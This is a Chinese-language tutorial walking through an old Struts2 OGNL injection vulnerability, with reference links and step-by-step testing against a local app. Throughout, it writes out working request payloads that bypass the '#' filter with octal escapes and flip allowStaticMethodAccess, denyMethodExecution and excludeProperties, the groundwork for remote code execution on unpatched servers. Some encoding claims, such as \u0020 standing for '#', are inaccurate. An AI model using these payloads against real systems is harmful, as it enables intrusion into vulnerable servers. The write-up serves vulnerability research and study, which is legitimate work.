首先,这个漏洞已经是比较早的一个了,大概影响范围是struts2.2.1.1以下版本(这个其实是不对的),其次值得参考的参考的网上公开资料有
http://security.ctocio.com.cn/100/11466600.shtml
这是我看过的唯一的一篇对这个漏洞有一定深入讲解的文章。
http://www.securityfocus.com/archive/1/521121
这个是一个发散的文章,指出了struts2的高版本的一些人在持续的问题,其中很多都是高危的。
这是一个很关键的网站,在这里你可以直接下载到不同的struts2的版本,以及其中用到的xwork,ognl的jar包以及源代码和api文档。只有自己重现了这个,才可以深入研究struts2的版本演化。
其次struts2的这个漏洞的实质是ognl的灵活表达问题,我们在struts2中的自动填充变量(就是我们习惯的get,set,而不用手动再繁琐的request.getParmeter())。但是ognl的能力远超这些,他可以在变量及赋值过程访问上下文变量,执行java静态方法,甚至于新建java对象,及调用对应方法。
struts2的漏洞就是缘于此。
http://commons.apache.org/ognl/language-guide.html
这个是ognl的官网,在这里能看到不少这个ognl的表达式的介绍。
下来开始测试,
我首先选择的是struts2.1.18版本这是一个简单的赋值测试,目的是改变context中的
43_memberAccess['allowStaticMethodAccess']=true,这个事webwork中很重要的一个参数,他决定了你是否可以在ognl表达式中使用静态方法,这个在后面的使用中十分重要。
http://localhost:8080/sr218/ice.action?#_memberAccess['allowStaticMethodAccess']=true
实际上这句话并不能很好的完成工作,因为struts2中的xwork过滤掉了#,这里就是这个漏洞的起始点,虽然他过滤掉了#
但是我们可以使用\u0020 \43 \043 ,分别是16进制的unicode编码,8进制的编码这三种方式绕过对#的过滤
http://localhost:8080/sr218/ice.action?\43_memberAccess['allowStaticMethodAccess']=true
但是如果这样依旧会有问题,会产生无法解析的语法树,因为\43这样的他是直接无法解析的,需要用'号括起来
http://localhost:8080/sr218/ice.action?'\43_memberAccess[\'allowStaticMethodAccess\']'=true
由于外层有了单引号,所以内层也要对单引号做转义。这样的语句就可以正常生成ast树了
接下来问题实际上是现在这样仍然无法识别出#_memberAccess['allowStaticMethodAccess'],所以这里才用了个小技巧,构造了复杂一些的ast树
('\43_memberAccess[\'allowStaticMethodAccess\']')(a)
这样的ast树实际上是有两个节点,
('\43_memberAccess[\'allowStaticMethodAccess\']')(b)=true
然后赋值就可以了,这里我觉得之所以需要构建2层语法树,实质上是和转义有关的。
http://localhost:8080/sr218/ice.action?('\43_memberAccess[\'allowStaticMethodAccess\']')(b)=true
这就是对
对这个context中控制ognl关键变量的改变。
当然我们还有另一种写法
http://localhost:8080/sr218/ice.action?('\43_memberAccess.allowStaticMethodAccess')(b)=true
这样的写法也是可以的,而且比较简洁,就看你怎么选了
这个是终结部分了。
除了#_memberAccess.allowStaticMethodAccess'是一个关键属性外,'xwork.MethodAccessor.denyMethodExecution’是另一个关键属性,意义如同名字,这个属性决定了是否可以执行方法,只有当这个属性为false时,我们才可以利用ognl自定义变量,调用一些关键的方法 例如FileWriter的append方法。
xwork.MethodAccessor.denyMethodExecution和#_memberAccess.allowStaticMethodAccess'的区别在于#_memberAccess.allowStaticMethodAccess'是一个context中的属性,而xwork.MethodAccessor.denyMethodExecution则是value hashmap中的一项,这就决定了对这个变量的覆盖不同于上一个方法。
如果采用第一种方法去覆盖的话,查看内存中,xwork.MethodAccessor.denyMethodExecution=java.lang.StringXXX大概是个这么个东西
而我们希望的是覆盖完变成
xwork.MethodAccessor.denyMethodExecution=false这样的形式
解决方案:
&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))
实际上就是
#context['xwork.MethodAccessor.denyMethodExecution']=false
放到了一个ast的树枝中,注意,要放到第三层,才能保证解析正确
这个是有人给出的解决方案。http://www.tengsu.com/school/top/2011/school_4595_4.html
同样他指出了在xwork 2.1.2.jar中存在bug,大家可以看看他的文章,最终他给出了解决思路,就是在不利用静态方法的情况下,想办法覆盖掉 excludeProperties
同样这个不能采用和第一个一样的方法覆盖,那样只能得到字符串。应采用和第二个类似的方法覆盖掉
我就直接放答案了,大家可以自己试试,这个只有在xwork2.1.2中才必须加上这句,以后版本加了也不算错,不过没什么效果
&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))